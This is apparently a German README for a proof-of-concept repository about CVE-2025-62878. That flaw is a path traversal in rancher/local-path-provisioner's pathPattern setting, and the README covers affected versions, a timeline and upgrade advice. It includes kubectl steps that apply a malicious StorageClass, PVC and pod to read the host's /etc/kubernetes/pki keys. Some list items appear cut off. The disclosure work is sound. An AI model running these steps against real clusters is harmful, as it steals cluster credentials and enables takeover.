
CVE-2025-62878
| Punkt | Wert |
|---|---|
| CVE ID | CVE-2025-62878 |
| GHSA ID | GHSA-jr3w-9vfr-c746 |
| Schweregrad | Kritisch (CVSS 10.0) |
| CWE | CWE-23 (Relative Path Traversal) |
| Betroffene Komponente | rancher/local-path-provisioner |
| Betroffene Versionen | v0.0.27 ~ v0.0.32 |
| Behobene Versionen | v0.0.33+ |
Im Parameter pathPattern der StorageClass besteht eine Path-Traversal-Schwachstelle. Ein böswilliger Benutzer kann pathPattern mithilfe relativer Pfadelemente (z. B. ../) manipulieren, um PersistentVolumes zu erstellen, die auf beliebige Speicherorte auf dem Host-Knoten verweisen und dabei die konfigurierte Basisverzeichnis-Beschränkung umgehen.
Dies ermöglicht Angreifern:
/etc/kubernetes/pki/)| Version | Veröffentlichungsdatum | pathPattern-Unterstützung | Verwundbar |
|---|---|---|---|
| v0.0.26 | 2023-12-03 | Nein | Sicher (Feature nicht vorhanden) |
| v0.0.27 | 2024-05-29 | Ja | Verwundbar |
| v0.0.28 | 2024-06-19 | Ja | Verwundbar |
| v0.0.29 | 2024-09-03 | Ja | Verwundbar |
| v0.0.30 | 2024-10-07 | Ja | Verwundbar |
| v0.0.31 | 2025-01-24 | Ja | Verwundbar |
| v0.0.32 | 2025-07-31 | Ja | Verwundbar |
| v0.0.33 | 2025-12-25 | Ja | Behoben |
| v0.0.34 | 2026-01-06 | Ja | Behoben |
Hinweis: Das offizielle GitHub Advisory gibt an, dass „< 0.0.34" betroffen ist, aber unsere Tests bestätigen:
| Ereignis | Datum |
|---|---|
| pathPattern-Feature eingeführt | 2024-05-26 (Commit af85381) |
| Erste verwundbare Version (v0.0.27) | 2024-05-29 |
| Fix-Commit | 2025-12-24 (Commit 1ed6b54) |
| Erste gepatchte Version (v0.0.33) | 2025-12-25 |
| CVE veröffentlicht | 2026-02-04 |
Detaillierte Reproduktionsschritte und Skripte finden Sie im Verzeichnis exploit/.
# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml
# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml
# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki
kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys
Führen Sie ein Upgrade auf v0.0.33 oder höher durch:
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml